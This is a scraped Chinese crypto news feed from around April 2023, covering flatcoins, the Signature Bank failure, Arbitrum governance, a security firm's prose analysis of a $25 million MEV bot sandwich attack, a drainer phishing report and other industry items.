    作者：0xShinChan | 加密KOL 编译：Felix | PANews 像Base最近发布的文章中提到的那样，Flatcoins会成为下一个最热门的DeFi叙事吗？本文是您需要了解的有关Flatcoins、TradFi的相关性以及DeFi采用的所有信息。 Flatcoins背景 根据Base的说法，Base正在探索Flatcoins——跟踪通货膨胀率的去中心化稳定币，能增强购买力的稳定性和抵御经济不确定性的能力。Base正在关注与非法定货币挂钩的期权，以填补与法定货币挂钩的稳定币和不稳定的加密资产之间的差距。 与USDT等传统稳定币不同，Flatcoins不与任何法定货币挂钩，而是与一篮子资产或指数挂钩。从长远来看，Flatcoins提供了更大的稳定性，因为法定货币可能会因通货膨胀，随着时间的推移而贬值。 我们需要Flatcoins的原因是，随着时间的推移，通货膨胀会侵蚀美元的购买力，从而对货币的时间价值产生负面影响。货币的时间价值的概念阐明了货币的当前价值大于其未来价值。 这是一个真实的例子。小时候，曾经在香港以0.25美元的价格购买麦当劳的冰淇淋。但是今天同样是0.25美元，却买不起麦当劳的任何食物。 这就是通货膨胀对每个人的影响。 而Flatcoins旨在通过跟踪通货膨胀率来保持其价值。它们不是与单一货币挂钩，而是跟随一篮子资产，使其不易受市场波动的影响。这个想法很简单：如果一种Flatcoins能够随着时间的推移保持其购买力，用户就不必担心因通货膨胀而贬值。这使得Flatcoins成为未来更具弹性和可靠的价值储存手段。 “Flatcoins”仅仅是一个DeFi概念吗？不一定。机构的采用与Flatcoins有一些相似之处。 新加坡的NEER政策侧重于通过与一组其他货币进行比较，来管理新加坡元（SGD）的价值。这组货币通常是与新加坡贸易往来最多的国家。 通过这样做，他们创造了一种“平均”汇率，有助于平衡个别货币的涨跌。现在，当存在通胀压力时，意味着商品和服务的总体价格水平在上涨，货币的购买力在下降。通过控制新元相对于这种“平均”汇率的价值，新加坡中央银行新加坡金融管理局 (MAS) 可以确保新元的价值不会因通货膨胀而大幅上涨或下跌。 简单来说，想象一下你和朋友在玩跷跷板。如果你们中的一个比另一个重很多，跷跷板就会倾斜得很厉害。但如果你们俩的体重差不多，跷跷板就会更平衡。 Reflexer Finance的RAI代币是Flatcoins的一个典型例子。甚至Vitalik也认为它是“理想型”稳定币类型。下面来说说为什么它只是理想，却不且实际。 RAI由ETH抵押，是其价值稳定的基础。用户存入他们的ETH来制造RAI，以他们持有的ETH为抵押借款。为了收回抵押品，用户需要偿还借来的RAI。超额抵押有助于确保其偿付能力。 与大多数与特定法定货币（如美元）挂钩的稳定币不同，RAI没有固定的价格目标。它是一种“无管理”和“去中心化”的稳定币，没有中央机构控制它。 RAI通过一种叫做“赎回价格”的机制来实现稳定。这个价格会根据市场情况和用户行为进行动态调整。鼓励人们买卖RAI以稳定其价值。如果RAI的价格大于赎回价格，用户被激励出售RAI，通过套利，使RAI价格更接近目标价格。 如果RAI的价格小于赎回价格，用户就会被鼓励购买RAI，因为被低估了，这有助于RAI的价格与赎回价格保持一致。这一机制平衡了市场供求。 RAI在发行时取得了一定的成功，但还没有达到其他稳定币的受欢迎程度。尽管它是无治理的、去中心化的固定代币，但它的采用仍然有些有限。这使得RAI成为替代稳定币的“理想型”例子。 原因是，与非法定货币挂钩的稳定币由于其价值不可预测和波动，会经常面临接受度降低的问题。 由于缺乏固定的价格目标，RAI在日常交易中的使用变得复杂，为广泛采用制造了障碍。此外，将ETH作为唯一抵押品也限制了可扩展性。 2022年5月，由于UST和LUNA崩溃、Celsius破产等事件冲击了市场，导致ETH在2022年6月从3580美元暴跌至890美元。 这导致: (i)由于ETH价格大幅下跌，RAI持有者的被清算风险增加； (ii)由于没有套利者而导致市场价格与赎回价格背离。 Reflexer Finance的RAI是由ETH支持的，创新自适应自主机制的范例，但它的采用受到限制。 与RAI相比，Nuon提供了一种不同的方法，重点是通货膨胀挂钩。Nuon是一种去中心化的Flatcoins，可以跟踪通货膨胀率，使用户能够保持他们的购买力。 (i) Truflation Nuon依赖于独立的通货膨胀指数（Truflation）来计算每日的Nuon挂钩汇率。根据Truflation指数，Nuon flatcoins在发行时与一篮子商品的价值软挂钩，价格为1美元。每天，Truflation预言机都会为Nuon提供一个经通货膨胀调整后的目标挂钩，以维持持有者的购买力。 (ii) 零息贷款 RAI的固定贷款利率为每年2%，但只要借款人维持所需的抵押率，Nuon就为借款人提供零利率的贷款。 Nuon的主网在arbitrum上发布，但根据DefiLlama的数据显示，它的TVL不到1万美元。虽然它凸显了对冲通胀的优势，但采用仍然有限，更多的是远见卓识，而非实际。  ( 2 min )
    数据：DOGE第五大持有者今日凌晨转出6.5亿枚DOGE，约合6130万美元
    PANews 4月4日消息，Bitinfocharts数据显示，今日凌晨3:48，DOGE的第五大持有者（DDuXGM开头的地址）转出6.5亿枚DOGE （约合6130万美元）。 该地址曾于3月30日转出3.5亿枚DOGE。目前该地址还持有约37.87亿枚DOGE（约合3.69亿美元）。  ( 1 min )
    损失2500万美元，MEV机器人是如何被人“黑吃黑”的？
    原文：《遭遇“黑吃黑”？MEV机器人损失2500万美元攻击事件分析》 2023年4月3日，据Beosin-Eagle Eye态势感知平台消息，MEV机器人遭受恶意三明治攻击，损失约2500万美元。 什么是三明治攻击？本次攻击又是如何发生，Beosin安全团队第一时间对事件进行了分析，结果如下。 攻击block： https://etherscan.io/block/16964664 攻击者： https://etherscan.io/address/0x3c98d617db017f51c6a73a13e80e1fe14cd1d8eb Mev bug git link： https://github.com/flashbots/mev-boost-relay/pull/330 Bundles analyze@samczsun： https://twitter.com/samczsun/status/1642848556590723075?s=46&t=Ucn3vRhyG0n8a4YU2zWE0g 恶意节点利用MEV-boost-relay相关漏洞，然后通过恶意三明治攻击价格操纵并最终获利。 MEVbot介绍： 最大可提取价值 (MEV) 是指通过在区块中添加和排除交易并更改区块中的交易顺序，可以从区块生产中提取的超过标准区块奖励和燃料费用的最大值。 在区块链数据上运行复杂的算法来检测盈利的 MEV 机会,有机器人自动将这些盈利交易提交到网络。 MEVbot有许多策略，dex中通过币价差套利，清算，NFT MEV等等而本次攻击中涉及的三明治交易，为了实现这样的功能，MEV bot会监视内存池内 DEX 的交易并且计算影响，抢先下单低价买入，然后在用户交易后卖出获利。最近FlashBots等 MEV 服务的兴起现在允许交易者创建“三明治捆绑包”，其中所有 3 笔交易都执行，或者都不执行。与此同时，矿工交易团队也有所增加，他们将三明治包直接挖到他们的区块中。 三明治攻击（sandwich attacks）是DeFi里流行的抢先交易技术的一种。为了形成一个“三明治”交易，攻击者（或者我们叫他掠夺性交易员）会找到一个待处理的受害者交易，然后试图通过前后的交易夹击该受害者。这种策略来源于买卖资产从而操作资产价格的方法。 三明治攻击（sandwich attacks）是DeFi里流行的抢先交易技术的一种。为了形成一个“三明治”交易，攻击者（或者我们叫他掠夺性交易员）会找到一个待处理的受害者交易，然后试图通过前后的交易夹击该受害者。这种策略来源于买卖资产从而操作资产价格的方法。 三明治交易的目标是利用意外受害者的滑点，同时也有许多诱饵机器人反过来利用MEVBot的策略，例如恶意的诱饵代币，或者转账函数中特殊的金额指定等，而本次攻击利用了MEVBot相关漏洞。 正常情况下恶意提议者很难修改bundles，这是因为双签惩罚，但是攻击parent_root和state_root被恶意设置为0x00，会导致PublishBlock返回error，但是由于旧版本没有对返回的error进行处理，从而获取已经披露的Bundles，才导致了事件的发生，下图是git中对该漏洞的修复。 链上攻击流程： 1.其中一次攻击为例，攻击者首先将目标瞄准到流动性很低的池子，并试探MEV机器人是否会抢跑交易。例如下图中，我们可以看到攻击者通过0.04 WETH试探MEV机器人，勾引MEV机器人进行抢跑套利。发现池子确实有MEV机器人进行监控，并且MEV机器人会使用其所有的资金进行套利。 2.攻击者试探成功之后使用预先在Uniswap V3中兑换出来的大量代币在低流动性的V2池内进行兑换操作，勾引MEV使用全部的WETH进行抢跑购买不值钱的代币。然而被抢跑的交易其实才是瞄准了MEV的攻击交易，使用了大量的代币换出MEV刚刚进行抢跑的所有WETH。 3.这时由于MEV进行抢跑的WETH已经被攻击交易兑换出来，所以MEV机器人想要重新换回WETH的操作会执行失败。 例如 总结 一是因为攻击者利用MEVbot相关Bug，这是攻击能够完成的主要原因。 二是因为MEV每次在低流动性池中套利仍然会使用自身所有的资金，这是攻击损失如此大的可能原因。 三是因为在uniswap V3中可以用少量资金获得同样的代币，而其价值在V2池中已经被操纵失衡，这是攻击中使用的主要手法。 部分参考： https://github.com/flashbots/mev-boost-relay/pull/330 感谢twitter@samczsun 资金追踪： 截止发稿前，Beosin KYT反洗钱分析平台发现目前主要被盗资金位于地址 0x3c98d617db017f51c6a73a13e80e1fe14cd1d8eb($20,051,175.47), 0x5B04db6Dd290F680Ae15D1107FCC06A4763905b6($2,334,519.51)， 0x27bf8f099Ad1eBb2307DF1A7973026565f9C8f69($2,971,393.59)。 约2520万美元。  ( 2 min )
    新网络钓鱼诈骗团队Venom Drainer已从1.5万名加密投资者骗取2700万美元
    PANews 4月4日消息，Web3反诈骗工具Scam Sniffer发文称，作为服务提供商的新骗局Venom Drainer已从1.5万名投资者骗取了2700万美元，前5名受害者损失了1400万美元。目前该骗局已创建530个钓鱼网站，针对Arbitrum、Blur、zkSync、Optimism和MetaMask等170多个项目。 其网络钓鱼方法包括：获取受害者的批准，并在区块链上转移ERC20代币；欺骗用户签署恶意NFT上市，通常具有较低的上市价格。Venom Drainer首次出现在网络钓鱼诈骗团队Monkey Drainer声称下线的公告中，Monkey Drainer在给客户的消息中推荐了Venom Drainer。  ( 1 min )
    韩联社：Do Kwon曾在逃亡期间拒绝美国的司法管辖权
    PANews 4月4日消息，据韩联社报道，经证实，Terraform Labs首席执行官Do Kwon曾在逃跑期间拒绝美国的司法管辖权。 该媒体称，Do Kwon和Terraform Labs曾要求美国最高法院将提交上诉请求的截止日期从去年8月18日推迟30天至10月6日。在提交给美国最高法院的文件中，Kwon的律师提出抗议，称“虽然Terraform是一家新加坡公司，Kwon也是新加坡居民，但第二上诉法院承认了美SEC的属人管辖权。Terraform大部分业务基本上都是全球性的，并不专门针对美国。SEC的行动违反法律，和其他法院的决定也相冲突。” 此外，Kwon的律师还要求延期提交上诉申请，美国最高法院是否真的接受了延期请求，或者Kwon是否真的提出了上诉，目前还没有得到证实。但去年8月中旬，Do Kwon在接受采访时称其已搬至新加坡，并表示会配合韩国检方的调查。9月初，Do Kwon偷偷离开新加坡，经阿联酋迪拜前往塞尔维亚，9月底，国际刑警组织发现其逃亡一事而发出红色通缉令。有人认为，Do Kwon的这些行为系发出“烟雾弹”来确保逃跑所需时间，也可被解读为Do Kwon否认了美国当局的管辖权，意图在未来降低处罚力度。 相关阅读：Terra创始人Do Kwon黑山被捕，近10个月逃亡生活结束  ( 1 min )
    签名银行之死：Crypto是一种“原罪”？
    作者：Joseph Politano 编译：Block unicorn 尽管签名银行（Signature Bank）的失败并未受到足够的关注，但它仍是美国历史上第三大破产案例。那么，究竟是什么导致了这家纽约顶级加密银行的破产呢？ 在 3 月 12 日（星期日），美国监管机构采取行动，阻止了美国银行体系中正在酝酿的危机。他们决定让已经破产的硅谷银行（SVB）的存款人得到全额赔付，同时宣布关闭总部位于纽约的签名银行，并让其存款人得到全额赔付。与硅谷银行相比，签名银行规模较小，而且很快被星标银行收购，这意味着该机构的失败并没有引起太多关注。但签名银行的崩溃本身值得分析——如果没有 SVB，它本将成为美国历史上第二大破产银行，甚至比 1984 年的大陆伊利诺伊银行破产还要大。 此外，签名银行与 SVB 并非完全具有相同的潜在问题——尽管两家银行都有集中的存款人基础、大量无保险存款，并在最近几个季度出现了巨大损失和存款外流，但签名银行并未像 SVB 那样对长期资产进行大量无避险投注，导致利率上升时受到打压。相反，它在纽约商业房地产和私募股权借贷市场上有更集中的敞口，并在加密行业中担任关键角色，这使得它在当前市场环境中比大多数银行更弱，但比 SVB 更强。这意味着签名银行在危机爆发时比 SVB 处于更好的立足点——但这仍然无法挽救它。两家金融机构最终都以相同的方式走向灭亡——来自无保险存款人的大量提款，最终使得银行无法生存。 与 SVB 一样，Signature Bank 银行在大流行病开始时存款增长极快，到 2022 年初，总存款达到 2018 年水平的三倍。而且，与 SVB 一样，Signature Bank 的绝大多数存款人的存款额超过了美国银行账户的 FDIC 保险限额 25 万美元。这是因为银行的主要客户是商业房地产公司、高端白领企业和私募股权公司，这些公司在大流行初期都实现了繁荣发展。然而，Signature Bank 最值得关注的合作关系可能是与加密货币公司的合作——该公司的数字资产银行团队在行业繁荣初期就与加密生态系统的主要参与者合作，并开发了 Signet——这是一种专有的 7 天 24 小时全年无休的区块链支付网络，服务于其机构级加密合作伙伴。Signature Bank 的用户包括行业巨头币安、Genesis 以及现已破产的 FTX 和 Alameda Research。 然而，这些加密货币存款的流出速度与它们的流入速度一样快。2021 年初，当 Signature 银行首次单独报告其数字资产银行业务集团的存款时，该公司的加密货币相关负债为 100 亿美元。到 2022 年初，这一数字猛增至 290 亿美元——占总存款的四分之一以上——随后在 2022 年的加密货币寒冬期间逐渐下降。FTX 的破产对数字资产集团造成的影响最大，仅在 2022 年第四季度，加密货币存款就减少了 70 亿美元。此时，加密货币相关的总存款为 170 亿美元，约占银行总额的五分之一，而资金流出可能从此只会加速。我们无法得出确切的时间线，但截至 3 月 19 日 Signature 银行成功出售给 Flagstar 银行时，仅剩下约 40 亿美元的数字资产存款。这些存款中的绝大多数可能是无保险的，一旦 SVB 出现问题，它们就会立即逃离。 这种迅速的资金外流有些反直觉，因为除了无保险存款占比较高之外，Signature 的整体风险状况并不像 SVB 那样广泛。硅谷银行在 2020 年和 2021 年大举投资长期固定收益资产，却对利率上升措手不及，而 Signature 在 2018 年和 2019 年的大部分时间里减少了对长期贷款和证券的集中度，并在整个大流行期间保持整体期限敞口较低。 事实上，Signature 资产负债表资产端在大流行时期的增长主要来自商业贷款的大幅增长，证券和其他资产（主要是现金）也有所帮助。这些预先存在的房地产敞口主要代表了纽约地区多户家庭和商业房地产的贷款，而商业和工业贷款的爆炸性增长主要代表了该公司私募股权贷款部门的扩张。 这两个主要行业——纽约房地产和私募股权贷款——最近的表现并不好，特别是在 2022 年初利率开始上升时。随着利率上升和对衰退的担忧增加，商业抵押贷款支持证券指数自 2021 年初以来大幅下跌，而根据我们从公开数据了解到的情况，私募股权估值可能也大幅下跌。 此外，与公司规模相比，Signature 在证券投资组合上的损失仍然相当可观。到 2022 年底，Signature 的累计其他综合收入（包括银行可供出售证券的未实现损失）已降至负 17 亿美元，占银行权益资本的很大一部分。 Signature 银行还在向联邦住房贷款银行借款，这些机构为流动性需求不够严重以至于向联邦储备银行直接借款的银行提供借款服务。事实上，在今年初，Signature 从联邦住房贷款银行借款的比例比 SVB 更高，尽管其参与房地产行业使其成为更频繁的基准用户。 尽管如此，与 SVB 相比，Signature 在今年初的整体状况还不算太糟——从资产方面看，Signature 比 SVB 更接近一家正常的银行，甚至在负债方面也更加多元化。虽然 Signature 的损失较大，但与其他银行相比，它的资本状况仍相对较好，而且在 FTX 破产之后，该银行已经在积极采取措施摆脱对加密货币存款的依赖。所以，虽然 Signature 确实面临风险，但当时市场认为它的地位比 SVB 和仍在生存的太平洋西部银行等要强大得多。然而，不幸的是，这还不足以使该机构免于从周五开始，持续到周日关闭的典型银行挤兑。 没有哪家银行能在极短的时间内承受大量存款人离开的压力——银行的基本业务模式需要在较为不流动的长期资产和较为流动的短期负债之间实现平衡。如果每个人都一次性要求取回他们的钱，最好的情况是有序清算，债权人得到全额偿还。在硅谷银行的案例中，联邦储备银行监管副主席迈克尔·巴尔的证词显示，银行破产当天，存款人试图提取 1000 亿美元，加上前一天提取的 420 亿美元，总共占银行总存款的 85%。对于除了最狭义、最保守的银行之外的所有银行来说，这种程度的不流动意味着破产，这就是为什么像存款保险这样的系统旨在防止这类大规模银行挤兑的发生。 Signature 银行的情况没有硅谷银行那么糟糕，但设身处地为当周末的监管者考虑——你手头有一家银行，其存款人群极易出走，据报道周五在短短几小时内就损失了五分之一的存款，整个周末都在不断收到进一步的提款要求，并且已经耗尽了从联邦住房贷款银行和联邦储备银行借款的大部分能力。银行无法向您提供有关其财务状况的准确信息，已经卷入了 FTX 的倒闭事件，并受到司法部和证券交易委员会的调查。公众信任已经荡然无存。周一开市意味着必死无疑。周末关门则降低了进一步传染的风险，所以决定银行不再开业。 Flagstar 银行以相当大的折扣接管了 Signature 银行的剩余部分——尽管它将 Signature 的 600 亿美元贷款留给了联邦存款保险公司（FDIC）处理。Flagstar 可能出于多种原因没有接管这些贷款——限制其商业地产敞口、认为资产价值不及其纸面价值以及不想过快增长等——此外，由于 FDIC 需要通过火速出售整个银行，因此它往往无法获得理想的价格。但这一结果仍表明，Signature 在贷款组合方面损失严重。 最有趣的是 Flagstar 没有接管的部分——剩余的 40 亿美元与加密货币相关的存款。这部分原因可能是出于法律原因，但主要是出于金融稳定的考虑——在短短几周内，有三家银行因依赖加密货币存款而破产，你会愚蠢到接管加密货币存款吗？此外，在 1 月初至 2 月底期间，美国监管机构发布了两份联合声明，警告银行加密货币存款的流动性、波动性、法律和传染风险——很可能监管机构鼓励银行不要承担过度暴露于加密货币的风险。 从广义上讲，这是对问题的正确评估——让稳定币和其他加密货币机构成为无保险、无担保、集中于少数金融机构的交易对手的安排行不通，这在某种程度上要为最近的金融动荡承担责任。但与此同时，这些资金池不会消失——如果它们被赶出美国正规银行体系，它们将在影子银行体系中创造需求，使加密行业中透明度较低、系统风险较高的参与者受益。资金池必须在银行体系之外的安全地方集中（例如，为稳定币设立指定的货币市场工具），或者在传统金融机构之间分散风险。 然而，更广泛的观点是，加密货币存款本身并不是 Signature 银行问题的唯一根源，与硅谷银行相比，Signature 银行在很多方面更像是一场普通的银行挤兑。尽管 Signature 银行的存款人相对集中，但没有像硅谷银行那样高度集中，损失虽然在 Signature 银行很大，但远不及在硅谷银行（尽管硅谷银行的存款基数只有 Signature 银行的两倍，但联邦存款保险公司估计 Signature 银行的失败将花费存款保险基金 25 亿美元，远低于硅谷银行失败的 200 亿美元成本）。存款人仅在短短几天内就失去了对该机构的信心，足以让银行倒闭。展望未来，在现代社会确保金融稳定将需要管理闪电般的银行挤兑风险，特别是在无保险存款人之间。  ( 2 min )
    美司法部已扣押涉加密投资骗局价值1.12亿美元的数字资产
    PANews 4月4日消息，美国司法部 (DOJ)在公告中表示，它已扣押了价值1.12亿美元的与加密投资诈骗有关的数字资产。亚利桑那地区、加利福尼亚中区和爱达荷地区的法官授权扣押6个虚拟货币账户。 根据法庭文件，这些虚拟货币账户据称被用于清洗各种加密货币信任诈骗的收益。在相关骗局中，作案者通过社交网络、交友网站、电话、短信等通讯方式逐渐赢得受害人的信任。最终，犯罪者说服他们的目标投资于虚假的加密货币平台，然后再将被盗资金转移到他们自己的地址。 美国司法部指出，2022年，在向联邦调查局互联网犯罪投诉中心(IC3)报告的所有骗局中，投资欺诈造成的损失最高，共计33.1亿美元。涉及加密货币的欺诈，包括杀猪盘，占了这些骗局的大部分，从2021年到去年报告的损失增长了183%，达到25.7亿美元。  ( 1 min )
    Arbitrum改进提案AIP-1未获投票通过，反对率近77%
    PANews 4月4日消息， Snapshot投票页面显示，Arbitrum基金会发起的综合治理包Arbitrum改进提案（AIP-1）投票未获通过，反对票占比达76.67%。 此前消息，Arbitrum基金会在社区强烈反对之下拟将AIP-1提案分解为一系列单独的提案投票，并且承诺将在本周对该提案的每个部分进行重新修改。 相关阅读：Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？  ( 1 min )
    Kaszek Ventures两支新基金已筹集9.75亿美元，将投资区块链等领域
    PANews 4月4日消息，据TechCrunch报道，拉丁美洲风投基金Kaszek Ventures通过旗下两支新基金筹集了9.75亿美元，包括5.4亿美元的早期基金Kaszek Ventures VI与4.35亿美元的后期投资工具Kaszek Ventures Opportunity-III (KVO-III)。 Kaszek计划从其早期基金中向（处于种子期、A轮和B轮阶段的）20到30家公司投入资金，投资规模从50万美元到2500万美元不等。其后期投资基金的投资将更加集中，该公司的目标是投资10至15家公司，投资规模在1,000万至5,000万美元之间。 Kaszek投资组合包括区块链、金融科技、企业/SaaS、房地产科技、保险科技、健康科技、教育科技、电子商务、食品科技、气候科技和生物科技等一系列行业的公司。此前曾参投巴西数字银行Nubank、加密交易所Bitso、数字支付平台Kushki等。  ( 1 min )
    国际足联推出AI驱动的世界杯手游，并拟为该游戏推出NFT市场
    PANews 4月4日消息，据Decrypt报道，国际足球联合会(FIFA)今天推出了AI驱动的世界杯足球手机游戏World Cup AI League的公开测试版，其角色、外观和游戏元素均采用人工智能。 根据一份声明，Web3人工智能公司Altered State Machine开发了这款手机游戏，该游戏目前可在Android上使用，并计划“很快”推出iOS版本。该游戏的公开测试版是其去年11月推出的世界杯预测游戏的扩展迭代。 此外，Altered State发言人透露，它计划在不久的将来为该游戏推出一个NFT市场。届时游戏的角色将被铸造成NFT，并且所有角色都将通过NFT来代表。  ( 1 min )
    Euler Labs：已追回攻击者盗取的全部资金
    PANews 4月4日消息，Euler Labs在推特上表示，经过成功协商，攻击者已归还3月13日从协议中盗取的所有资金，因为攻击者已归还资金，基金会发起的100万美元悬赏活动将不再接受新信息，详细信息将于明天发布。 此前3月13日消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。  ( 1 min )
    Arbitrum治理风波反思：去中心化承诺到底有多重要？
    撰文：Alex 编译：0x11，Foresight News 这篇推文是关于 Arbitrum 空投和去中心化的博弈探讨，Arbitrum 最近因为公共治理事件而陷入尴尬境地。 加密网络 90% 的价值来自于去中心化承诺。为了最大化估值： 加密网络与「空投党」一拍而合，他们达成合作并推动了项目估值的良性增长。 但 Arbitrum 内部人员和「空投党」最终总会抛售他们获得的代币激励，为了解决这个问题，他们需要寻求那些经验丰富的金融市场大玩家的帮助，来减弱抛售的负面影响。 这些金融老炮们可以利用他们在市场方面的专业知识，匹配市场上的潜在买家和抛压。 至此我们迎来了一个新的问题，那就是这些经验丰富的参与者要如何从中攫取价值呢？答案很简单，借贷和看涨期权。即在售出代币的同时持有看涨期权可以实现无风险对冲。 现在我们假设的生态中有了 3 类相互协作的参与者，那么谁站在对立面呢？答案是散户。 卖家和散户之间存在明显的博弈关系。散户将他们的法定货币兑换为代币，因为他们相信该项目的长期价值。 这就是游戏规则，这就是它的运作方式。当其他参与者串通起来「剥削」他们却又不违反游戏规则时，散户会感到不安，「去中心化」的承诺会被揭穿为谎言。而当散户得知游戏参与者通过抛售比最初披露的更多的代币来「作弊」时，事情显然会变得更糟。 我知道这些对于任何在这个领域呆过一段时间的人来说都已经见怪不怪。与它的一些「前辈」相比，Arbitrum 的行为并没有产生什么严重危害。 Arbitrum 甚至可以通过直接销售和做市商交易立即抛售 DAO 分配的所有 42 亿枚代币，无需任何监督，也无需与公众进行任何沟通。 「多年来，加密项目一直是这样做的。」 (3, 3, 3, -9) 在牛市中有效，看看 OHM。随着市场成熟，情况应该会有所改善。但如果游戏规则不公平，市场如何增长？ 作为一个社区，我们应该要求代币流通供应能够反映在没有公开披露的情况下可以进入市场的代币数量。 这意味着对于 ARB ，流通供应应该是 12 亿 + 42 亿 的 DAO 资金，结果是 54 亿代币或大约 60 亿美元。 有人说社区「有权」从空投中获得「免费资金」。这说明他们对这个游戏还没有充分了解。请认真思考一个问题：你认为这些凭空得来的钱究竟是从哪里被印出来的呢？  ( 2 min )

  • Open

    Introducing the Aptos Names Integration Library
    The Aptos Names Integration Library is a front-end library that simplifies the integration of Aptos Names into ecosystem projects.  ( 5 min )
    Introducing the Aptos Names Integration Library
    The Aptos Names Integration Library is a front-end library that simplifies the integration of Aptos Names into ecosystem projects.  ( 5 min )

  • Open

    【英文】Moand VS. Rollup：为什么不把 Monad 实现为 rollup？
    Chainfeeds 导读： Monad 是一个新 L1，正在通过构建超高性能的执行系统和共识机制来扩展 EVM。为何 Monad 不实现为 rollup？Monad 联合创始人 Keone 撰文解释原因，一是为了去中心化，二是为了提高性能，三是为了保持 Monad 的专注度。 文章来源： https://monadlabs.substack.com/p/monad-vs-rollups 文章作者： Keone（Monad 联合创始人） 观点： Keone（Monad 联合创始人）：1）去中心化。Rollup 目前缺乏去中心化区块生产的机制，这对于抗审查和真正的去中心化至关重要。2）性能，我们正在构建尽可能高性能和最便宜的系统，并且构建成 rollup 会对 Monad 的可扩展性施加限制。3）专注，我们相信，任何人都能运行的高性能的 EVM 执行环境，是大幅提高去中心化计算的范围和实用性的关键路线。Monad 团队非常专注于通过执行这一愿景来为加密空间做出贡献。【原文为英文】 内容来源 Keone（Monad 联合创始人）：Rollup 减去共识，添加 DA 依赖：rollup 没有共识机制，继承来将交易数据和 merkle 根推回到 DA 层的成本，继承了 DA 层的容量依赖及 ttf（交易延迟）。Monad 采取不同的方法，没有从区块链设计中移除共识，而是对其进行了大量优化，使其不妨碍执行。Monad 具有新颖的 BFT 算法和高性能的 p2p 层，并采用模块化设计，节点在执行前达成共识。在我们的设计中，执行与共识并行运行，稍微延迟，因此可以利用完整的区块时间。【原文为英文】 内容来源 Keone（Monad 联合创始人）：以太坊 DA 成本高，且容量有限，交易延迟很长。Monad 不是 rollup 的主要原因之一是因为我们针对性能进行了优化。我们不是为了避免开销而取消共识，而是简单地加速它。Monad 极大地提高了计算效率，使环境能够支持更多用户和应用程序的复杂性，同时仍允许用户在本地运行计算。为此，我们通过并行运行交易，并通过使用自定义后端大幅改进合约和状态存储。这些效率提升来自算法改进，而不是依赖硬件。【原文为英文】 内容来源  ( 17 min )
    【英文】Moand VS. Rollup：为什么不把 Monad 实现为 rollup？
    Chainfeeds 导读： Monad 是一个新 L1，正在通过构建超高性能的执行系统和共识机制来扩展 EVM。为何 Monad 不实现为 rollup？Monad 联合创始人 Keone 撰文解释原因，一是为了去中心化，二是为了提高性能，三是为了保持 Monad 的专注度。 文章来源： https://monadlabs.substack.com/p/monad-vs-rollups 文章作者： Keone（Monad 联合创始人） 观点： Keone（Monad 联合创始人）：1）去中心化。Rollup 目前缺乏去中心化区块生产的机制，这对于抗审查和真正的去中心化至关重要。2）性能，我们正在构建尽可能高性能和最便宜的系统，并且构建成 rollup 会对 Monad 的可扩展性施加限制。3）专注，我们相信，任何人都能运行的高性能的 EVM 执行环境，是大幅提高去中心化计算的范围和实用性的关键路线。Monad 团队非常专注于通过执行这一愿景来为加密空间做出贡献。【原文为英文】 内容来源 Keone（Monad 联合创始人）：Rollup 减去共识，添加 DA 依赖：rollup 没有共识机制，继承来将交易数据和 merkle 根推回到 DA 层的成本，继承了 DA 层的容量依赖及 ttf（交易延迟）。Monad 采取不同的方法，没有从区块链设计中移除共识，而是对其进行了大量优化，使其不妨碍执行。Monad 具有新颖的 BFT 算法和高性能的 p2p 层，并采用模块化设计，节点在执行前达成共识。在我们的设计中，执行与共识并行运行，稍微延迟，因此可以利用完整的区块时间。【原文为英文】 内容来源 Keone（Monad 联合创始人）：以太坊 DA 成本高，且容量有限，交易延迟很长。Monad 不是 rollup 的主要原因之一是因为我们针对性能进行了优化。我们不是为了避免开销而取消共识，而是简单地加速它。Monad 极大地提高了计算效率，使环境能够支持更多用户和应用程序的复杂性，同时仍允许用户在本地运行计算。为此，我们通过并行运行交易，并通过使用自定义后端大幅改进合约和状态存储。这些效率提升来自算法改进，而不是依赖硬件。【原文为英文】 内容来源  ( 17 min )
    .bit 研报：用户使用 DID 交易资产时存在五处潜在风险
    Chainfeeds 导读： 开源 Web3 身份协议.bit 近期发现并分析了使用 DID 进行资产交易时涉及的五处严重安全风险，并公布其风险提示，以向区块链行业发出警告，并建议用户避免使用 DID 发送或交换资产。本推文中文版由律动编译。 文章来源： https://m.theblockbeats.info/news/36212 文章作者： .bit 观点： .bit：DID 用于代表资产所有者在区块链上的唯一地址，可实现资产转移，而不需要输入复杂的长地址。DID 可用于向钱包或交易平台发送 Token 或资产，然后钱包或交易平台会使用该标识符来验证 Token 或资产的数据并发回响应。.bit 发现，风险就出现在钱包或交易平台使用的应用程序编程接口（API）中。 内容来源 .bit：API 可在不同平台上实现简单的数据传输，并提供钱包所需的来自 DID 的必要信息。在使用 DID 的完全安全的交易平台中，资产持有人会输入他们的 DID 名称，钱包会向 API 询问该名称的区块链地址，API 随后会返回相应的地址，钱包设置交易供用户批准，最后，钱包将交易发送到公共网络以完成资产转移。 内容来源 .bit：潜在风险：1）黑客进入服务器攻击 API 服务，篡改返回到查询的数据。2）API 服务内部人员篡改查询返回的数据。3）API 服务出现内部错误，导致返回到查询的数据出错。4）API 服务的服务器中用于同步数据的区块链节点落后于区块链网络，导致相关数据不是最新的，进而导致向查询发送错误的数据。5）DID 过期，并且在前用户不知情的情况下被其他用户注册。 内容来源
    .bit 研报：用户使用 DID 交易资产时存在五处潜在风险
    Chainfeeds 导读： 开源 Web3 身份协议.bit 近期发现并分析了使用 DID 进行资产交易时涉及的五处严重安全风险，并公布其风险提示，以向区块链行业发出警告，并建议用户避免使用 DID 发送或交换资产。本推文中文版由律动编译。 文章来源： https://m.theblockbeats.info/news/36212 文章作者： .bit 观点： .bit：DID 用于代表资产所有者在区块链上的唯一地址，可实现资产转移，而不需要输入复杂的长地址。DID 可用于向钱包或交易平台发送 Token 或资产，然后钱包或交易平台会使用该标识符来验证 Token 或资产的数据并发回响应。.bit 发现，风险就出现在钱包或交易平台使用的应用程序编程接口（API）中。 内容来源 .bit：API 可在不同平台上实现简单的数据传输，并提供钱包所需的来自 DID 的必要信息。在使用 DID 的完全安全的交易平台中，资产持有人会输入他们的 DID 名称，钱包会向 API 询问该名称的区块链地址，API 随后会返回相应的地址，钱包设置交易供用户批准，最后，钱包将交易发送到公共网络以完成资产转移。 内容来源 .bit：潜在风险：1）黑客进入服务器攻击 API 服务，篡改返回到查询的数据。2）API 服务内部人员篡改查询返回的数据。3）API 服务出现内部错误，导致返回到查询的数据出错。4）API 服务的服务器中用于同步数据的区块链节点落后于区块链网络，导致相关数据不是最新的，进而导致向查询发送错误的数据。5）DID 